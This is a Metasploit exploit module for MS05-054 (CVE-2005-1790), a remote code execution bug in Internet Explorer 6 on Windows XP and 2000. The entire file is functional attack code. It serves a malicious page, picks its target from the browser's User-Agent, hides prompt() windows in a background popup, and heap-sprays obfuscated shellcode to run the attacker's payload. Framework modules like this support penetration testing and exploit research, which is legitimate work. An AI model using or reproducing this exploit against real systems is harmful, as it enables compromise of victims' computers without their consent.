##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS05-054 Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution',
      'Description'    => %q{
        This bug is triggered when the browser handles a JavaScript 'onLoad' handler in
        conjunction with an improperly initialized 'window()' JavaScript function.
        This exploit results in a call to an address lower than the heap. The javascript
        prompt() places our shellcode near where the call operand points to.  We call
        prompt() multiple times in separate iframes to place our return address.
        We hide the prompts in a popup window behind the main window. We spray the heap
        a second time with our shellcode and point the return address to the heap. I use
        a fairly high address to make this exploit more reliable. IE will crash when the
        exploit completes.  Also, please note that Internet Explorer must allow popups
        in order to continue exploitation.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Benjamin Tobias Franz', # Discovery
          'Stuart Pearson',        # Proof of Concept
          'Sam Sharps'             # Metasploit port
        ],
      'References'     =>
        [
          ['MSB', 'MS05-054'],
          ['CVE', '2005-1790'],
          ['OSVDB', '17094'],
          ['BID', '13799'],
          ['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
          'Compat'   =>
            {
              'ConnectionType' => '-find',
            },
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ],
          [ 'Internet Explorer 6 Windows 2000',  { 'iframes' => 8 } ],
        ],
      'DisclosureDate' => 'Nov 21 2005',
      'DefaultTarget'  => 0))
  end

  def exploit
    @var_redir = rand_text_alpha(rand(100)+1)
    super
  end

  def auto_target(cli, request)
    mytarget = nil

    agent = request.headers['User-Agent']
    print_status("Checking user agent: #{agent}")

    if (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.1/)
      mytarget = targets[0]   # IE6 on XP
    elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)
      mytarget = targets[1]	# IE6 on 2000
    else
      print_error("Unknown User-Agent #{agent}")
    end

    mytarget
  end


  def on_request_uri(cli, request)
    mytarget   = auto_target(cli, request)
    var_title  = rand_text_alpha(rand(100) + 1)
    func_main  = rand_text_alpha(rand(100) + 1)
    randnop = rand_text_alpha(rand(100) + 1)

    heapspray = ::Rex::Exploitation::JSObfu.new %Q|
function heapspray()
{
  shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
  var #{randnop} = "#{Rex::Text.to_unescape(make_nops(4))}";
  var bigblock = unescape(#{randnop});
  var headersize = 20;
  var slackspace = headersize + shellcode.length;
  while (bigblock.length < slackspace) bigblock += bigblock;
  var fillblock = bigblock.substring(0,slackspace);
  var block = bigblock.substring(0,bigblock.length - slackspace);
  while (block.length + slackspace < 0x40000) block = block + block + fillblock;
  var memory = new Array();
  for (i = 0; i < 250; i++){ memory[i] = block + shellcode }

  var ret = "";
  var fillmem = "";

  for (i = 0; i < 500; i++)
    ret += unescape("%u0F0F%u0F0F");
  for (i = 0; i < 200; i++)
    fillmem += ret;

  prompt(fillmem, "");
}
|
    heapspray.obfuscate(memory_sensitive: true)

    nofunc = ::Rex::Exploitation::JSObfu.new %Q|

if (document.location.href.indexOf("#{@var_redir}") == -1)
{
  var counter = 0;


  top.consoleRef = open('','BlankWindow',
  'width=100,height=100'
  +',menubar=0'
  +',toolbar=1'
  +',status=0'
  +',scrollbars=0'
  +',left=1'
  +',top=1'
  +',resizable=1')
  self.focus()


  for (counter = 0; counter < #{mytarget['iframes']}; counter++)
  {
    top.consoleRef.document.writeln('<iframe width=1 height=1 src='+document.location.href+'?p=#{@var_redir}</iframe>');
  }
  document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">");

}
else
{
  #{heapspray.sym('heapspray')}();
}
|

    nofunc.obfuscate(memory_sensitive: true)

    main = %Q|
function #{func_main}()
{
  document.write("<TITLE>#{var_title}</TITLE>");
  document.write("<body onload=window();>");

  window.location.reload();
}
|

    html = %Q|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<meta http-equiv="Content-Language" content="en-gb">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<script>
#{nofunc}
#{heapspray}
#{main}
</script>
</head>
<body>
</body>
</html>
|

    print_status("Sending #{self.name}")
    # Transmit the compressed response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

    # Handle the payload
    handler(cli)
  end
end
